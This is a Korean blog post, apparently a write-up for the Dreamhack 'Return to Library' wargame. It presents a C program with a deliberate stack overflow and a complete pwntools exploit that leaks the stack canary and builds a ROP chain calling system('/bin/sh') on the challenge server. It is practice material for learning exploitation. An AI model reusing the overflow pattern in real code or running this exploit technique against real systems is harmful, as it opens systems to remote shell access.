[드림핵 시스템 해킹] Wargame : Return to Library

asdf·2025년 1월 11일

pwnable

목록 보기
13/36

문제


풀이


취약점 분석

먼저 적용된 보안 기법을 살펴보겠습니다.

Canary와 NX가 적용되어있습니다. NX가 적용되어 있으므로 버퍼에 주입한 셸 코드를 실행할 수 없으므로 libc로 우회하여 공격하는 return to library 기법을 사용해야 합니다.

문제 파일인 rtl.c를 살펴보겠습니다.

// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie

#include <stdio.h>
#include <unistd.h>

const char* binsh = "/bin/sh";

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Add system function to plt's entry
  system("echo 'system@plt");

  // Leak canary
  printf("[1] Leak Canary\n");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Overwrite return address
  printf("[2] Overwrite return address\n");
  printf("Buf: ");
  read(0, buf, 0x100);

  return 0;
}

read에서 받는 데이터 크기가 buf보다 크므로 스택 오버플로우를 사용할 수 있습니다. 첫 번째 read 이후 buf를 출력해주므로 여기서 canary를 얻을 수 있습니다. 그 후 리턴 가젯을 이용해 셸을 얻어서 해결할 수 있을 것 같습니다. 또한 system이 plt에 추가되어 있으므로 라이브리의 베이스 주소 없이 system을 실행할 수 있습니다.

스택 프레임 구조 파악


buf의 위치가 rbp-0x40임을 알 수 있습니다.

stack_chk_fail@plt부분을 통해 이 부분이 canary를 비교하는 부분임을 알 수 있고, canary의 위치가 rbp-0x8임을 알 수 있습니다.

익스플로잇 실행

기초 설정

from pwn import *

def slog(n, m): return success(': '.join([n, hex(m)]))


p = remote("host1.dreamhack.games", 21944)
e = ELF("./rtl")

먼저 canary를 얻어 주겠습니다. buf에서 canary까지의 거리는 0x40 - 0x8 = 0x38이므로 0x39만큼의 더미 데이터로 payload를 구성하면 canary를 얻을 수 있을것입니다.

payload = b'A' * (0x38 + 1)
p.sendafter("Buf: ", payload)
p.recvuntil(payload)
canary = u64(b'\x00' + p.recvn(7))
slog("Canary", canary)

system("echo 'system@plt"); 를 통해 system이 plt에 등록되어 있으므로 system_plt를 e.plt["system"]으로 구할 수 있습니다. "/bin/sh"의 주소는 pwndbg에서 "search /bin/sh"로 구할 수 있습니다.

system을 실행하는 데에는 하나의 변수만 사용하면 되므로 pop_rdi를 가젯에서 찾아서 사용해 주겠습니다. ROPgadget --binary rtl | grep "pop rdi"로 찾을 수 있습니다.

이제 리턴 가젯으로 system을 실행하면 해결할 수 있습니다.

system_plt = e.plt['system']
binsh = 0x400874
pop_rdi = 0x0000000000400853
ret = 0x0000000000400285

payload = b'A' * 0x38 + p64(canary) + b'B' * 0x8
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system_plt)
p.sendafter(b'Buf: ', payload)

p.interactive()

코드를 맞게 작성했는데 작동을 하지 않습니다. 이는 스택이 0x10단위로 정렬되어 있지 않기 때문입니다. 따라서 아무 의미 없는 가젯인 ret를 추가하면 정상적으로 작동을 하게 됩니다.
아래는 완성된 코드입니다.

from pwn import *

def slog(n, m): return success(': '.join([n, hex(m)]))


p = remote("host1.dreamhack.games", 16240)
e = ELF("./rtl")

payload = b'A' * (0x38 + 1)
p.sendafter("Buf: ", payload)
p.recvuntil(payload)
canary = u64(b'\x00' + p.recvn(7))
slog("Canary", canary)

system_plt = e.plt['system']
binsh = 0x400874
pop_rdi = 0x0000000000400853
ret = 0x0000000000400285

payload = b'A' * 0x38 + p64(canary) + b'B' * 0x8
#스택 정렬
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system_plt)
p.sendafter(b'Buf: ', payload)

p.interactive()

코드를 실행해 셸을 얻었습니다.

profile
Rainy Waltz(a_hisa)

0개의 댓글